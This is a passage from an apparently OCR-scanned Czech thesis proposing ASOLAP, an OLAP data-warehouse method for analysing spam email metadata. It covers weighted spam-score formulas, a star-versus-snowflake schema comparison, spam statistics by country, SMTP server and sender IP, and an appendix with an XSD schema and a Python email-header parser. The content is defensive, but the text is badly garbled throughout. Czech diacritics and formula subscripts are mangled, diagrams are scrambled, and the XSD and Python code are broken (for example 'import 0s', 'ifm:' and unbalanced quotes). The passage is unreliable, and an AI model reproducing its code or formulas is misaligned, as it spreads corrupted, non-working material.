Kde vg, je vaha hodnoceni a x5, je hodnota proménné — spamovost hodiny odeslani.
Kde vs, je vaha hodnoceni a x5, je hodnota proménné — spamovost minuty odeslani.
Kde vs; je vaha hodnoceni a xs5 je hodnota proménné — spamovost sekundy odeslani.
Kde vs, je vaha hodnoceni a xs, je hodnota proménné — spamovost ¢asové zony.
HASH pfiloZeného souboru

Y6 = Vs1 " X61

Kde vg; je vaha hodnoceni a x4; je hodnota proménné — spamovost souboru dle

zastoupeni hash otisku.
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IP adresa

Y7 = V71" X710+ V72" X72 V73" X73
Kde v;; je vaha hodnoceni a x,; je hodnota proménné — spamovost IP adresy
odesilajiciho uzlu.

Kde v,, je vaha hodnoceni a x,, je hodnota proménné — spamovost zem¢ dle GeolP

odesilajiciho uzlu.

Kde v, je vaha hodnoceni a x5 je hodnota proménné — spamovost regionu dle GeolP

odesilajiciho uzlu.
Predmét zpravy

Yg = Vg1 * Xg1
Kde vg, je vaha hodnoceni a xg; je hodnota proménné — spamovost dle pfedmétu

emailové zpravy.
6.2.3 Fyzicky ndvrh prototypu

Prototyp byl vytvoien v prostiedi Microsoft® Excel, konkrétné pomoci dopliku
PowerPivot. VVzhledem k abstrakci v piipad¢ logického navrhu je fyzické feSeni
pripraveno s ohledem na prostfedi softwarového nastroje a vyzaduje pripravena data
dostupnd pomoci DP-MEZ. Pouziti PowerPivotu jako desktopového nastroje
nekoresponduje piimo se serverovym nasazenim antispamovych nastrojl, avSak pfimé
zaclenéni vysledki do existujiciho feSeni neni predmétem prototypové faze, nicméné
pouziti velkého mnozstvi redlnych dat poskytuje oporu pro rozhodovani o

realizovatelnosti metodiky ASOLAP.
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Obrazek 36 - Fyzicky navrh datového skladu - schéma hvézda (vlastni vyzkum autora)

6.3 Implementace B — viocka

Vyhodou datového schématu vlocka je pojeti dat v normalizované podobé, coz ¢ini
navrh datového schématu pfirozenéjsi zejména tam, kde jej navrhuji administratofi
s praxi v rela¢nich databazich. Nevyhodou pak je dle literatury niz$i rychlost operaci
z diivodu vyssiho poctu relaci a dimenzionalnich tabulek.

6.3.1 Logicky navrh prototypu

Datové schéma vlocka vyzaduje zmény oproti predchozimu feSeni v upravé poctu
dimenzionalnich tabulek a ve vytvofeni novych relaci. Zaroven jsou data

normalizovana a je sniZen jejich objem. Vysledkem je pak nasledujici schéma:
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Dimenze HASH Dimenze Message-time Dimenze Message-date Dimenze Weekday

HASH-ID Message-time-ID Message-date-ID Weekday-1D -—

Hash Hour Year Weekday
Minute Manth
Second Day Dimenze R-date-year

Timezone

WeekDay-ID R-date-year-ID
Dimenze Server R-date-year
Server-ID
Server o Dimenze R-date
HASHAD R-date-ID
Message-time-ID
R-dat -ID
Dimenze Subject y datetD ate-year
essage-date-| ~
Subject-1D . o R-date-month
erver-
Subject R-date-second
R-date-ID R-date-weekday-1D I
Subject-lD
Dimenze
IP-ID
IP-ID 4—"’— ) Dimenze R-time
R-time-1D
P S [RtimelD
Pocet zprav
Country-1D R-time-hour
Spamovost
Timezone-ID R-time-month
R-time-secand
R-time-timezone-ID
Dimenze IP-timezone Dimenze IP-country Dimenze R-date-timezone
|P-timezone-ID IP-country-1D R-date-timezone-ID
|P-timezone IP-country R-date-timezone

Obrazek 37 - Schéma prototypového feSeni B

Navrzené prototypové FeSeni je slozeno zjedné tabulky faktli a tfinacti tabulek
dimenzi. Tabulka fakti obsahuje jednotlivé cizi kli¢e pro kazdou dimenzionalni

tabulku, ty potom obsahuji informace nezbytné pro analyzu dle dané¢ dimenze.
6.3.2 Vektorizace — bude dopracovana dle schématu

Dle konceptu vektorizace metadat 1ze jednotlivé tabulky popsat vektory, které urcuji
spamovost zpravy za danou dimenzionalni tabulku. Tento vypocet pak 1ze upravovat
zménou vah jednotlivym dil¢im proménnym a upravovat tak hodnoceni jednotlivych
zprav na zékladé¢ vyskytu vybranych klicovych charakteristik nalezenych

v metadatech emailovych zprav.
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Navrzené datové schéma hvézda 1ze popsat nasledujicim zapisem

S=y1+y,+ys+ Vst ys+yst+y; +ys,

kde S je skore spamovosti dané emailové zpravy a y jsou jednotlivé dil¢i vektory

hodnocent:

e vy, je SMTP server pouzity pro odeslani zpravy
® 7y, je datum doruceni zpravy

e y3je Cas doruceni zpravy

e 7y, je datum odeslani zpravy

e s je Cas odeslani zpravy

® y¢ je hash pfiloZeného souboru

e y;je IP adresa uzlu odesilatele

® ygje predmét zpravy
Zména prototypu oproti schématu hvézda

Oproti datovému schématu prototypu A jsou u prototypu B upraveny tabulky dimenzi,
respektive piidany dal§i 4 pro normalizaci dat. Uprava slouzi k zmenseni datového
objemu a k eliminaci duplikace dat. Nové dimenzionalni tabulky jsou oznaceny jako

subvektory:

e z; je den v tydnu pro tabulky dimenzi Message-date a R-date
e 7, jerok pro tabulky dimenze R-date

e 73 je Casova zona pro dimenz R-time

e 7, je Casova zona pro dimenzi [P

e Zsje zemé pro dimenzi [P
Jednotlivé vektory maji dil¢i sloZzky hodnoceni v zdvislosti na po¢tu dil¢ich hodnot.
SMTP server
V1=V X1

Kde v, je vaha hodnoceni a x;; je hodnota proménné — spamovost SMTP serveru.
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Datum dorucdeni zpravy

Y2 = Va1 " Xa1 + V2" Xap +Vp3 " Xa3 + Vas " Z12
Kde v,; je vaha hodnoceni a x,; je hodnota proménné — spamovost roku doruceni.
Kde v,, je vaha hodnoceni a x,, je hodnota proménné — spamovost mésice doruceni.
Kde v,5 je vaha hodnoceni a x,5 je hodnota proménné — spamovost dne doruceni.
Kde v,, je vaha hodnoceni a z,, je hodnota proménné — spamovost dne v tydnu.
Cas dorudeni zpravy

Y3 = V31" X371+ U3z X3z + V33" X33+ V3s " Z3
Kde v3; je vaha hodnoceni a x5, je hodnota proménné — spamovost hodiny doruceni.
Kde v3, je vaha hodnoceni a x5, je hodnota proménné — spamovost minuty doruéeni.
Kde v35 je vaha hodnoceni a x35 je hodnota proménné — spamovost sekundy doruceni.
Kde v;, je vaha hodnoceni a z3, je hodnota proménné — spamovost ¢asové zony.
Datum odeslani zpravy

Ya = Va1 Xg1 + Vag® Xap t Va3 ® Z1g + Vay* Zp
Kde v,; je vaha hodnoceni a x,; je hodnota proménné — spamovost roku odeslani.
Kde v,, je vaha hodnoceni a x,, je hodnota proménné — spamovost mésice odeslani.
Kde v, je vaha hodnoceni a z;, je hodnota proménné — spamovost dne odeslani.
Kde v,, je vaha hodnoceni a z,, je hodnota proménné — spamovost dne v tydnu.
Cas dorudeni zpravy

Ys = Vs1* Xs1+ VUsz® X5z + Vs3* Xs3+ VUss " Xsy
Kde vs; je vaha hodnoceni a x5, je hodnota proménné — spamovost hodiny odeslani.
Kde vs, je vaha hodnoceni a x5, je hodnota proménné — spamovost minuty odeslani.
Kde vs; je vaha hodnoceni a xs5 je hodnota proménné — spamovost sekundy odeslani.

Kde vs, je vaha hodnoceni a xg, je hodnota proménné — spamovost ¢asové zony.
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HASH priloZeného souboru

Y6 = Vg1 " Xp1

Kde v4; je vaha hodnoceni a x4; je hodnota proménné — spamovost souboru dle

zastoupeni hash otisku.
IP adresa
Y7 = V71" X719 T Vg Zyy + V73" Zsy

Kde v;; je vaha hodnoceni a x,; je hodnota proménné — spamovost IP adresy

odesilajiciho uzlu.

Kde v,, je vaha hodnoceni a x,, je hodnota proménné — spamovost zemé dle GeolP

odesilajiciho uzlu.

Kde v,5 je vaha hodnoceni a zs, je hodnota proménné — spamovost regionu dle GeolP

odesilajiciho uzlu.
Piedmét zpravy
Yg = Vg1 ® Xg1

Kde vg, je vaha hodnoceni a xg; je hodnota proménné — spamovost dle piedmétu
emailove zpravy.

6.3.3 Fyzicky navrh prototypu

Prototyp byl vytvoren opét v prostfedi Microsoft® Excel, coZ umoZziuje porovnat obé
feSeni nejenom na zaklad¢ teoretického hodnoceni, ale také na zdkladé testi vykonu.
U rozsahlych datovych struktur mize vhodny navrh znamenat zvyseni rychlosti prace
a tim 1 zlepSeni pouZitelnosti ziskanych dat pro analyzy a upravy antispamovych

pravidel.
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Obrazek 38 - Fyzicky navrh datového skladu - schéma hvézda (vlastni vyzkum autora)

6.4 Srovndni navrZenych variant

Pro zhodnoceni obou prototypovych feSeni byly zvoleny metody ziskané z védecké

literatury (Serrano, a dalsi, 2007), (Patnaik, a dalsi, 2015), konkrétné bylo pouzito

hodnoceni srozumitelnosti a hodnoceni komplexnosti. Obé dvé metody pouzité

k hodnoceni analyzuji navrzené datové schéma a na zakladé celkového skore je uréeno

lepsi feSeni. Datovy model s niz§im skore je dle téchto metod povazovéan za 1épe

navrzeny.
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Tabulka 5 - Hodnoceni srozumitelnosti

HVEZDA VLOCKA
NDT 8 13
NT 9 14
NADT 30 40
NAFT 1 1
NFK 9 9
CELKOVE SKORE 57 77

Celkové skore favorizuje datové schéma typu hvézda, hodnoceni 57 : 77 je silnym

argumentem proti datovému schématu typu vlocka.

Tabulka 6 - Hodnoceni komplexnosti

HVEZDA VLOCKA
NFT 1 1
NDT 8 13
NFK 9 9
NMFT 8 8
CELKOVE SKORE 26 31

V piipad¢ hodnoceni komplexnosti je vysledné skore velmi podobné, nicméné stale je

dle tohoto hodnoceni vyhodnéjsi zvolit datové schéma typu hvézda.
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Hodnoceni vykonu

Mimo teoretickych metod bylo pouzito méfeni vykonu obou feSeni na zakladé casu
potifebného k zobrazeni stejnych pohledii na data. V ramci testovani vykonu byl méten

¢as pro zpracovani pohledu na nésledujici zadéni:

Pocet zprav odeslanych v jednotlivych letech z jednotlivych zemi.
Pocet zprav odeslanych pomoci detekovanych STMP serverd.
Pocet identifikovanych souborti poslanych z jednotlivych zemi.

Pocet zprav odeslanych v jednotlivych dnes tydnu v rdmci jednotlivych roki.

o B~ W D

Pocet zprav z identifikovanych IP adres.

Pocet zprav odeslanych v jednotlivych letech z jednotlivych zemi

Tabulka 7 - Seznam zemi nejéastéji rozesilajicich spam

2011 2012 2013 2014 CELKOVY SOUCET

ARGETINA 2 509 4717 6587 11815
COLUMBIE 14 1088 3005 2910 7017
INDIE 222 4006 3270 2184 9682
IRSKO 16 697 3061 4067 7841
ITALIE 40 494 4221 4363 9118
PERU 12 1868 3365 2265 7510
SPANELSKO 24 946 3735 5451 10156
USA 20 1526 5568 5061 12175
VENEZUELA 24 332 941 7224 8521
CELKOVY 1390 26916 91280 169091 288677
SOUCET

Oproti celosvétovému stavu jsou zde nejvice zemé z Jizni Ameriky — Argentina,

Columbie, Peru a Venezuela.

Pocet zprav odeslanych pomoci detekovanych STMP serveri.

Tabulka 8 - Statistiky serveri SMTP

SERVER POCET ZPRAV
ESMTP 372953
SMTP 3
ESMTPS 2880
ESMTPA 2
LOCAL 1
HTTP 8287
NEZJISTENO 182
CELKOVY SOUCET 384308

118



Jednoznaénym vysledkem skoncila statistika software SMTP serverd, kde mezi zdroji

nevyzadané posty je zastoupen software ESMTP.

Pocet identifikovanych soubori poslanych z jednotlivych zemi

Tabulka 9 - Prvnich 10 nejéastéjsich zprav dle souboru a zemé

AR co ES IN IR IT PE us VN SUMA

07526A 9 45 50 2 22 25 8 104 1 356
11E377 71 53 69 7 24 49 47 71 1 397
211FOD 45 46 55 24 16 45 3 56 109 412
A070CF 97 40 49 2 24 40 7 79 2 342
CELKOVY 309 184 223 35 8 159 65 310 113 1507
SOUCET

Nejcastéjsi zdrojovou zemi zavirovanych ptiloh (z prvnich 50 soubord byly vSechny

zavirované) je USA s t€snym rozdilem oproti druhé Argentiné.
Pocet zprav odeslanych v jednotlivych dnech v tydnu v ramci jednotlivych dni

2011 2012 2013 2014 CELKOVY

SOUCET

PONDELI 621 6639 19836 38630 65726
UTERY 687 8208 20384 36077 65356
STREDA 368 5982 19563 30646 56559
CTVRTEK 359 4637 25015 36677 66688
PATEK 326 7069 18150 28634 54179
SOBOTA 412 3878 11464 23271 39025
NEDELE 406 3586 10724 21903 36619
CELKOVY 3179 39999 125136 215838 384152
SOUCET

Nejfrekventovangjsimi dny v tydnu jsou Ctvrtek, Pondéli a Utery. Vikend je znatelng

mén¢ bohaty na nevyzadané zpravy.
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Pocet zprav z identifikovanych IP adres

Tabulka 10 - Nejéastéjsi IP adresy

POPISKY RADKU POCET Z
SUBJECT
115.74.217.244 34
180.250.145.106 40
186.112.114.35 32
189.199.40.11 31
190.66.112.218 34
87.23.29.182 30
87.24.108.25 30
9.212.110.27 34
91.22.65.209 30
CELKOVY SOUCET 295

Z uvedené statistiky lze dedukovat bézné pouzivani botnetl pro rozesilani
nevyzadanych zprav, nebot’ pouze 295 adres je poslano z 9 nejcastéjSich IP adres, coz

je pouze 0,767% z celkového poctu zprav.

120



Hodnoceni ¢asové naroc¢nosti
Kazdy z téchto tikonti byl zajistén skriptem v jazyce VBA a spustén 100x pro eliminaci

nahodnych vlivii na vykon. Vysledné Casy jsou v nasledujici tabulce.

Tabulka 11 - Hodnoceni naro¢nosti vybranych dotazi (vlastni vyzkum autora)

Ukon Hvézda Vloéka

Pocet zprav odeslanych v jednotlivych letech 0,35s 0,41s

Z jednotlivych zemi

Pocet zprav odeslanych pomoci detekovanych STMP 2,31s 2,37s
servert.
Pocet  identifikovanych soubort poslanych 1,05 1,15s

Z jednotlivych zemi.

Pocet zprav odeslanych v jednotlivych dnes tydnu 1,45s 1,98s

V ramci jednotlivych rokii.

Pocet zprav z identifikovanych IP adres. 3,87s 4,25s
Pocet lepSich Casi ) 0
Celkovy casovy rozdil 9,03s 10,16s

Ve vSech variantach srovnani je vyhodnoceno 1épe schéma typu hvézda. V ramci
hodnoceni srozumitelnosti je rozdil markantni, v hodnoceni komplexnosti je skore
mén¢ kontrastni. V ramci experimentu prob&hlo méfeni rychlosti. Oba modely dostaly
ke zpracovani stejné zadani dotazli nad daty a za pomoci skriptu VBA (Visual Basic
for Application) byl zméfen Cas potiebny ke konstrukci daného pohledu na data dle

daného dotazu. Datové schéma hvézda bylo rychlejsi ve vSech péti dotazech.

Jako vhodny byl na zakladé hodnoticim metod a vykonového testu vybran pro

metodiku ASOLAP datovy sklad schématu hvézda — varianta prototypu A.
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6.5 ASOLAP

Na zékladé poznatkli ziskanych béhem sestavovani soucasného piehledu védeckého
poznani antispamové problematiky a na zékladé provedeného hodnoceni obou
prototypi byla sestavena nova metodika ASOLAP (AntiSpam OLAP). Metodika je
zaméfena na navrh a implementaci multidimenzionalniho datového ulozisté jako
prostiedku pro analyzu metadat emailovych zprav. Cilem metodiky je usnadnit
analyzu jiz doslych zprav a na zakladé ziskanych poznatki ovéfit platnost soucasnych

antispamovych pravidel, ptipadn¢ je upravit nebo vytvofit nova.

Vzhledem k velkému mnozstvi nevyzadanych zprav je jejich zpracovani a analyza
velmi naro¢na na Ulozisté a systémové zdroje. Multidimenzionalni wlozisté a
analytické moZnosti OLAP feSeni jsou pro tuto oblast vhodné. Metodika vyuziva
rela¢niho OLAP pro zajisténi dostupnosti analyz i tam, kde chybi sofistikované a

narocné systémy.

Metodika je doplitkem standardnich antispamovych nastrojii a obohacuje je o snadny

analyticky pohled na zkouman4 data.

Formulace > Mavrh datové pumpy
poZadavku metoda DP-MEZ
v v
Analiza dostupnjch Konceptualni navrh
nastroju datového skladu
Tvorba prototypu Realizace
v v ‘
Specifikace NP
posloupnosti Logicky navrh
v v
Implementace
antispamového  — Fyzicky navrh
redeni

Obrazek 39 - Metodika ASOLAP
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6.6 Ovéreni

Metodika ASOLAP pro analyzu metadat emailovych zprav byla vyuzita v ramci
evaluace na 5 emailovych serverech. Pfinos metodiky spo¢ivd v moznosti aplikace
OLAP nad metadaty emailovych zprav. Tato data jsou zakladem pro analyzu obsahové
a logické ¢asti emailovych zprav. Metodika byla testovana v prostfedi Microsoft Excel
(dopln€k PowerPivot). Vyhodou tohoto feSeni je dostupnost Microsoft Excelu a
moznost instalace nastroje PowerPivot v ramci rozhrani Microsoft Excel (doplnék je
k dispozici ihned po provedeni patiicné volby). Analyza nevyzadanych zprav
umoznila zvySit efektivitu antispamového feSeni a tim snizila zatéz uzivatelt
emailovych schranek. Toto je vhodné pro administratory antispamovych feSeni a
zejména v prostiedi mensi ¢i stiedni firmy, kde neni personalni situace v oblasti IT
pfimou prioritou a spravu emailového systému tak zajiStuje pracovnik jako jednu ze

svych ¢innosti.

Prehlednost a dostupnost vySe zminéného nastroje je zde piinosem. Nepiinasi
navysSeni ndkladl na spravu informacnich technologii a grafické rozhrani poskytuje
komfort pti analytickych procesech. To v§e v rdmci obecné v prostfedi velmi zndmého
tabulkového procesoru. Administrator mize meénit pohledy na data dle aktudlni
potfeby a doplnovat na zékladé ziskanych dat dals$i bezpe¢nostni opatieni pro zajisténi

bezproblémového fungovani IT infrastruktury v organizaci.

Vysledna metodika a jeji aplikace byla validovana formou tpravy pravidel a zmény
pofadi a priorit na vySe zminénych serverech. Vysledkem je niz8i zatéZz emailového
systému a lepSi zajisténi bezpecnosti uzivateld (primarné v oblasti malware). Pro
administrator emailového systému je pak snadné pristupovat k souhrnnym dattim a dle

statistik se rozhodovat o upravé ¢i ponechani klasifikatori.
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7 Diskuze

Metodika ASOLAP pro analyzu velkého objemu metadat emailovych zprav je
vhodnym prostiedkem pro hloubkovou analyzu dorucovanych zprav. Toto

konstatovani koresponduje s ovéfenim simplifikovaného modelu datové kostky.

Jeji ptinos je mozné vyuzit nejenom v ramci oddélené¢ho emailového systému, ale lze
ji po rozsifeni nasadit jako uceleny néstroj pro analyzu bezpecnostnich incidentii na
spravovanych serverech. Vyzadovalo by to modifikaci uvedeného datového schématu
na typ souhvézdi. Jednoduchy model hvézda by jiz nepostacoval, nebot’ vzhledem
k nutnosti agregace dat z vice nastroji by bylo vyZadovano nékolik tabulek fakti a

patficné zvySeni tabulek dimenzi.

Jako ukazku lze pouzit moznost srovnavat IP adresy ziskané z nevyzadanych zprav a
IP adresy ziskané z nastrojii kontrolujicich neplatné pokusy o ptihlaSeni na sluzby
serveru. Velmi frekventované jsou pokusy o ptistup prostfednictvim protokolu SMTP
a SSH. Vzhledem k vyuZzivani botnett ve vSech téchto oblastech, 1ze ocekavat korelaci
ziskanych sad zneuzivanych IP adres. Na zakladé tohoto srovnani pak Ize modifikovat
sluzby blokuji nevhodné ptihlasSovaci pokusy. Metodika ASOLAP by tak ziskala dalsi
funkcionalitu a je zfejmy jeji dalSi vyvojovy potencidl smérem ke komplexnimu

zabezpeceni IT infrastruktury.

Dalsi alternativou je uprava evaluacnich tabulek pro hodnoceni kvality névrhu
datového modelu. Byly pouzity dvé miry nej€astéji zminované ve védecké literature.
Vzhledem ke specifikiim antispamové problematiky a dirazu na rychlost reakci by
bylo vhodné ovéfit moznost navrhu specifickych postupli pro hodnoceni datovych

schémat v ramci navrhu dle metodiky ASOLAP.

Pro ucely ovéfeni realizovatelnosti metodiky ASOLAP byla také zjednoduSena datova

pumpa. Toto omezeni na lokélni data by bylo moZzné rozsifit o podporu
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8 Zavér a nameéty na pokracovaci vyzkum

Autor v praci provedl zhodnoceni souc¢asného stavu védeckého poznani a zaroveinl do
prace zakomponoval poznatky ziskané konzultacemi se subjekty poskytujicimi

emailové sluzby, pro kter¢ je klasifikace nevyzadané pocty jednou z hlavnich ¢innosti.

Vzhledem k potieb¢ zpracovavat a analyzovat velké mnozstvi dat byla identifikovana
teoretickd mezera. A to moznost spojeni antispamové problematiky a Business
Intelligence. Po dikladném studiu védecké a odborné literatury nebyl nalezen zadny
relevantni zdroj, ktery by se touto problematikou zabyval. Autor na zéklad¢ tohoto
poznani pfistoupil k ndvrhu metodiky ASOLAP, kterd popisuje postup nasazeni

relacniho Online Analytical Processingu pro analyzu metadat nevyzadanych zprav.

Na zaklad¢ analyzy dostupného vzorku zprav byla metodika otestovana pomoci dvou
prototypt, které byly navrzeny s ohledem na poznatky ziskané studiem védeckych a
odbornych zdroji. Oba prototypy byly zhodnoceny za pomoci mér stanovenych
védeckou literaturou a také na zdkladé experimentu. Na zdklad¢ vysledkt byl
doporucen prototyp realizovany datovym schématem typu hvézda jako vhodnégjsi pro

navrh ROLAP datového tlozisté pro analytiku nevyzadanych zprav.

Autorem navrzené feSeni predstavuje metodiku, jejiz pfinos spo€ivd na moZznosti
komplexné analyzovat soucasné antispamové feseni, a na zakladé poznatkt ziskanych

z dil¢ich pohledil na data 1ze korigovat existujici nastaveni antispamového nastroje.

Vyhodou ROLAP je moZnost zapojit do néj dalsi dil¢i bezpe¢nostni nastroje
realizované na serverech ¢i pocitacové siti. Je moZné mapovat botnety pouzivané
nejenom pro rozesilani nevyzadanych zprav, ale také pro dalsi negativni ¢innosti —
hadani hesel a testovani slovnikovych utokti. Pokud bude nalezena shoda mezi IP
adresami ziskanymi z metadat nevyzadanych zprdv a zaznamy I[P adres
bezpecnostnich néstroji, napiiklad znastroje pro blokovani opakovanych
nezdafenych ptihlaseni — Fail2Ban, Ize realizovat automatické ptidani vsech IP adres
daného identifikovaného botnetu na black list. Tim lze docilit zvySeni bezpe¢nosti celé

pocitaové sité ¢i serveru.
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10 Prilohy

10.1 XSD pro XML
<?xml version="1.0" encoding="UTF-8"?>

<xs:schema xmlns:xs="http://www.w3.0rg/2001/XMLSchema"

elementFormDefault="qualified">
<xs:element name="email">
<xs:complexType>
<Xs:sequence>
<xs:element ref="Return-Path"/>
<xs:element ref="Receivedl"/>
<xs:element ref="Received2"/>
<xs:element ref="Received3"/>
<xs:element ref="message-id"/>
<xs:element ref="subject"/>
<xs:element ref="date"/>
<xs:element ref="to"/>
<xs:element ref="file"/>
</xs:sequence>
</xs:complexType>
</xs:element>
<xs:element name="Return-Path">
<xs:complexType>
<xs:sequence>
<xs:element ref="rp-user"/>
<xs:element ref="rp-domain"/>

<xs:element ref="rp-tld"/>
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</xs:sequence>
</xs:complexType>
</xs:element>
<xs:element name="rp-user" type="xs:NCName"/>
<xs:element name="rp-domain" type="xs:NCName"/>
<xs:element name="rp-tld" type="xs:NCName"/>
<xs:element name="Receivedl">
<xs.complexType>
<xs:sequence>
<xs:element ref="r1-server"/>
<xs:element ref="r1-date"/>
</xs:sequence>
</xs:complexType>
</xs:element>
<xs:element name="r1-server" type="xs:NCName"/>
<xs:element name="r1-date">
<xs:.complexType>
<xs:sequence>
<xs:element ref="r1-date-year"/>
<xs:element ref="r1-date-month"/>
<xs:element ref="r1-date-day"/>
<xs:element ref="r1-date-hour"/>
<xs:element ref="r1-date-minute"/>
<xs:element ref="r1-date-second"/>
<xs:element ref="r1-date-weekday"/>

<xs:element ref="r1-date-timezone"/>
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<xs:element ref="r1-ip"/>
</xs:sequence>
</xs:.complexType>
</xs:element>
<xs:element name="r1-date-year" type="xs:integer"/>
<xs:element name="r1-date-month" type="xs:NCName"/>
<xs:element name="r1-date-day" type="xs:integer"/>
<xs:element name="r1-date-hour" type="xs:integer"/>
<xs:element name="r1-date-minute" type="xs:integer"/>
<xs:element name="r1-date-second" type="xs:integer"/>
<xs:element name="r1-date-weekday" type="xs:NCName"/>
<xs:element name="r1-date-timezone">
<xs:complexType>
<xs:simpleContent>
<xs:extension base="xs:integer">
<xs:attribute name="cest" use="required" type="xs:NCName"/>
</xs:extension>
</xs:simpleContent>
</xs:.complexType>
</xs:element>
<xs:element name="r1-ip" type="xs:NMTOKEN"/>
<xs:element name="Received2">
<xs:complexType>
<xs:sequence>
<xs:element ref="r2-server"/>

<xs:element ref="r2-date"/>
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</xs:sequence>
</xs:complexType>
</xs:element>
<xs:element name="r2-server" type="xs:NCName"/>
<xs:element name="r2-date">
<xs:complexType>
<xs:sequence>
<xs:element ref="r2-date-year"/>
<xs:element ref="r2-date-month"/>
<xs:element ref="r2-date-day"/>
<xs:element ref="r2-date-hour"/>
<xs:element ref="r2-date-minute"/>
<xs:element ref="r2-date-second"/>
<xs:element ref="r2-date-weekday"/>
<xs:element ref="r2-date-timezone"/>
<xs:element ref="r2-ip"/>
</xs:sequence>
</xs:complexType>
</xs:element>
<xs:element name="r2-date-year" type="xs:integer"/>
<xs:element name="r2-date-month" type="xs:NCName"/>
<xs:element name="r2-date-day" type="xs:integer"/>
<xs:element name="r2-date-hour" type="xs:integer"/>
<xs:element name="r2-date-minute" type="xs:integer"/>
<xs:element name="r2-date-second" type="xs:integer"/>

<xs:element name="r2-date-weekday" type="xs:NCName"/>
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<xs:element name="r2-date-timezone">
<xs:complexType>
<xs:simpleContent>
<xs.extension base="xs:integer">
<xs:attribute name="cest" use="required" type="xs:NCName"/>
</xs:extension>
</xs:simpleContent>
</xs:.complexType>
</xs:element>
<xs:element name="r2-ip" type="xs:NMTOKEN"/>
<xs:element name="Received3">
<xs.complexType>
<xs:sequence>
<xs:element ref="r3-server"/>
<xs:element ref="r3-date"/>
</xs:sequence>
</xs:complexType>
</xs:element>
<xs:element name="r3-server" type="xs:NCName"/>
<xs:element name="r3-date">
<xs:complexType>
<xs:sequence>
<xs:element ref="r3-date-year"/>
<xs:element ref="r3-date-month"/>
<xs:element ref="r3-date-day"/>

<xs:element ref="r3-date-hour"/>
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<xs:element ref="r3-date-minute"/>
<xs:element ref="r3-date-second"/>
<xs:element ref="r3-date-weekday"/>
<xs:element ref="r3-date-timezone"/>
<xs:element ref="r3-ip"/>
<xs:element ref="r3-goip"/>
</xs:sequence>
</xs:.complexType>
</xs:element>
<xs:element name="r3-date-year" type="xs:integer"/>
<xs:element name="r3-date-month" type="xs:NCName"/>
<xs:element name="r3-date-day" type="xs:integer"/>
<xs:element name="r3-date-hour" type="xs:integer"/>
<xs:element name="r3-date-minute" type="xs:integer"/>
<xs:element name="r3-date-second" type="xs:integer"/>
<xs:element name="r3-date-weekday" type="xs:NCName"/>
<xs:element name="r3-date-timezone">
<xs:complexType>
<xs:simpleContent>
<xs:extension base="xs:integer">
<xs:attribute name="cest" use="required" type="xs:NCName"/>
</xs:extension>
</xs:simpleContent>
</xs.complexType>
</xs:element>

<xs:element name="r3-ip" type="xs:NMTOKEN"/>
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<xs:element name="r3-goip">
<xs:complexType>
<xs:sequence>
<xs:element ref="r3-country"/>
<xs:element ref="r3-region"/>
<xs:element ref="r3-time-zone"/>
<xs:element ref="r3-location"/>
</xs:sequence>
</xs:complexType>
</xs:element>
<xs:element name="r3-country" type="xs:NCName"/>
<xs:element name="r3-region" type="xs:NCName"/>
<xs:element name="r3-time-zone" type="xs:string"/>
<xs:element name="r3-location">
<xs.complexType>
<xs:attribute name="latitude" use="required" type="xs:decimal”/>
<xs:attribute name="logitude" use="required" type="xs:decimal"/>
</xs:complexType>
</xs:element>
<xs:element name="message-id" type="xs:string"/>
<xs:element name="subject" type="xs:string"/>
<xs:element name="date">
<xs:complexType>
<xs:sequence>
<xs:element ref="year"/>

<xs:element ref="month"/>
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<xs:element ref="day"/>
<xs:element ref="hour"/>
<xs:element ref="minute"/>
<xs:element ref="second"/>
<xs:element ref="weekday"/>
<xs:element ref="timezone"/>
</xs:sequence>
</xs:.complexType>
</xs:element>
<xs:element name="year" type="xs:integer"/>
<xs:element name="month" type="xs:NCName"/>
<xs:element name="day" type="xs:integer"/>
<xs:element name="hour" type="xs:integer"/>
<xs:element name="minute" type="xs:integer"/>
<xs:element name="second" type="xs:integer"/>
<xs:element name="weekday" type="xs:NCName"/>
<xs:element name="timezone">
<xs:complexType>
<xs:simpleContent>
<xs:extension base="xs:integer">
<xs:attribute name="cest" use="required" type="xs:NCName"/>
</xs:extension>
</xs:simpleContent>
</xs.complexType>
</xs:element>

<xs:element name="to0">
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<xs:complexType>
<xs:sequence>
<xs:element ref="to-user"/>
<xs:element ref="to-domain"/>
<xs:element ref="to-tld"/>
</xs:sequence>
</xs:.complexType>
</xs:element>
<xs:element name="to-user" type="xs:NCName"/>
<xs:element name="to-domain" type="xs:NCName"/>
<xs:element name="to-tld" type="xs:NCName"/>
<xs:element name="file">
<xs:complexType>
<xs:sequence>
<xs:element ref="name"/>
<xs:element ref="hash"/>
</xs:sequence>
</xs:complexType>
</xs:element>
<xs:element name="name" type="xs:string"/>
<xs:element name="hash" type="xs:string"/>
</xs:schema>
10.2 Datovd pumpa — python
import email
from email.utils import *

from email.header import *
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import re

import xml.etree.cElementTree as ET
from email.parser import HeaderParser
from datetime import date

from urlparse import urlparse

from geoip import geolite2

import hashlib

import 0s

input_email = 'email2.txt'

def parse_email_file (input_email):
f = open(input_email, 'r)

msg = email.message_from_file(f)

root = ET.Element(‘email’)

RP = ET.SubElement(root, 'Return-Path’)
RP_user = ET.SubElement(RP, 'rp-user’)
RP_domain = ET.SubElement(RP, 'rp-domain’)

RP_TLD = ET.SubElement(RP, 'rp-tld")

RP_user.text = msg['Return-Path'].split(@")[0][1:]
tempStr = msg['Return-Path'].split(@")[1]
RP_domain.text = tempStr.split('.")[0]

RP_TLD.text = tempStr.split(".")[1][:-1]
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Rec = msg.get_all('Received’)

i=0

for header in Rec :
#print header
i+=1

RC = ET.SubElement(root, 'Received'+str(i))

# Server
m = re.findall(r'with (\w+)', header)
ifm:
Rserver = ET.SubElement(RC, 'r'+str(i)+'-server’)

Rserver.text = m[0]

# Date

tempStr = header.split(';")[1]

tempStr = tempStr.replace(\n',")

Rw = ET.SubElement(RC, 'r'+str(i)+'-date")

Rwd = ET.SubElement(Rw, 'r'+str(i)+'-date-year")

Rwd.text = tempStr.split()[3]

Rwd = ET.SubElement(Rw, 'r'+str(i)+'-date-month’)

Rwd.text = tempStr.split()[2]
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Rwd = ET.SubElement(Rw, 'r'+str(i)+'-date-day’)

Rwad.text = tempStr.split()[1]

Rwd = ET.SubElement(Rw, 'r'+str(i)+'-date-hour")

Rwd.text = tempStr.split()[4][:-6]

Rwd = ET.SubElement(Rw, 'r'+str(i)+'-date-minute’)

Rwd.text = tempStr.split()[4][3:-3]

Rwd = ET.SubElement(Rw, 'r'+str(i)+'-date-second’)

Rwd.text = tempStr.split()[4][6:]

Rwd = ET.SubElement(Rw, 'r'+str(i)+'-date-weekday")

